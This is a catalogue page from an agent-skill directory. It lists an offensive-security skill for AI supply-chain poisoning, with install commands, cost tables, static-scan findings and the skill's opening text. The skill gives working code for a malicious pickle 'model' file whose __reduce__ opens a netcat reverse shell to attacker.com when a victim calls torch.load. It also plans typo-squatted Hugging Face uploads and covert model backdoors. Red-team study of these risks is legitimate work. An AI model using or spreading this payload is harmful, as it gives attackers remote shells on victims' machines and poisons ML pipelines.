Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/llm-supply-chain-poisoningWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/llm-supply-chain-poisoning)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/llm-supply-chain-poisoning"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/llm-supply-chain-poisoning/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/llm-supply-chain-poisoning"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/llm-supply-chain-poisoning.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00072 | $0.02384 |
| Opus 5 | $0.00036 | $0.01192 |
| Sonnet 5 | $0.00014 | $0.00477 |
| Haiku 4.5 | $0.00007 | $0.00238 |
Grade A, and why
llm-supply-chain-poisoning scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Unrestricted tool accesslowExcessive agency
A wildcard tool grant or "run any command" leaves no least-privilege boundary at all.
- To demonstrate how an attacker can execute arbitrary code (RCE) on the GPU cluster simply by the victim executing `model.load()`. Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
return (os.system, ('nc -e /bin/sh attacker.com 4444',)) How it starts
The opening of the file, as written. The whole thing — 193 lines — stays where its author put it; the contents beside it link to each section on GitHub.
AI Supply Chain Poisoning
When to Use
- When auditing a Data Science team's model development pipeline (MLOps).
- When developers are pulling untrusted, pre-trained
.pkl,.bin, or.ptmodel files from public repositories like Hugging Face or Model Zoo. - To demonstrate how an attacker can execute arbitrary code (RCE) on the GPU cluster simply by the victim executing
model.load(). - To establish a silent backdoor in an image classification or NLP model before it is deployed to production.
Prerequisites
- Access to target AI/ML system or local model deployment for testing
- Python 3.9+ with relevant ML libraries (transformers, torch, openai)
- Understanding of LLM architecture and prompt processing pipelines
- Authorized scope and rules of engagement for AI red team testing
Workflow
Phase 1: Insecure Deserialization via Pickled Models (Remote Code Execution)
# Concept: PyTorch and Scikit-Learn traditionally save models using Python's `pickle` module.
# Pickle is NOT safe. It can deserialize arbitrary Python bytecode, allowing for RCE
# perfectly disguised as a legitimate AI model file.
# 1. The Attacker constructs a malicious Pickle payload:
import pickle
import os
class MaliciousModel(object):
def __reduce__(self):
# This code executes the moment the victim loads the model
return (os.system, ('nc -e /bin/sh attacker.com 4444',))
# Create our "fake" model weight file
malicious_payload = MaliciousModel()
with open("roberta-base-weights.bin", "wb") as f:
pickle.dump(malicious_payload, f)
# 2. Supply Chain Injection:
# The attacker uploads `roberta-base-weights.bin` to a typo-squatted Hugging Face repo
# (e.g., `huggingface.co/microsft/roberta-base` instead of `microsoft/roberta-base`).
# 3. Execution (The Victim):
# A junior developer runs the standard PyTorch loading command:
import torch
model = torch.load("roberta-base-weights.bin") # RCE TRIGGERS IMMEDIATELY! Gaining a reverse shell.
Phase 2: Model Backdooring (Weight Manipulation)
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 12d ago First seen · 193 lines · 72 tokens per session scan A ec47a9a52afa
llm-supply-chain-poisoning is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 72 tokens to every session and 2,384 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 2 findings (unrestricted tool access, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other skills, from other repositories
quantizing-models-bitsandbytes
Quantizes LLMs to 8-bit or 4-bit for 50-75% memory reduction with minimal accuracy loss. Use when GPU memory is limited, need to fit larger models, or want faster inference. Supports INT8, NF4, FP4 formats, QLoRA training, and 8-bit optimizers. Works with HuggingFace Transformers.
llama-factory
Expert guidance for fine-tuning LLMs with LLaMA-Factory - WebUI no-code, 100+ models, 2/3/4/5/6/8-bit QLoRA, multimodal support.
mlflow
Track ML experiments, manage model registry with versioning, deploy models to production, and reproduce experiments with MLflow - framework-agnostic ML lifecycle platform.
chrome-cdp
Drive a headless Chrome over the Chrome DevTools Protocol (CDP) for browser QA — navigate, click, fill forms, read the DOM/accessibility tree, screenshot, and assert. Use whenever a task requires loading a web page and interacting with it like a user. Chrome is launched by a bash step (recipe below); this skill…
review-trtmc-pr
Review a TensorRT-Model-Connect GitHub PR or local contributor branch against the current post-#1093 model-family isolation architecture, repository rules, behavioral correctness, and exact-head validation evidence. Use for contributor self-review before marking a PR ready, or when deciding whether a community PR is…
pr-babysitter
Use when monitoring GitHub pull request CI, diagnosing failed checks, rebasing branches onto github/main, applying narrowly scoped fixes, and updating PRs until their latest checks are green or a human blocker is identified.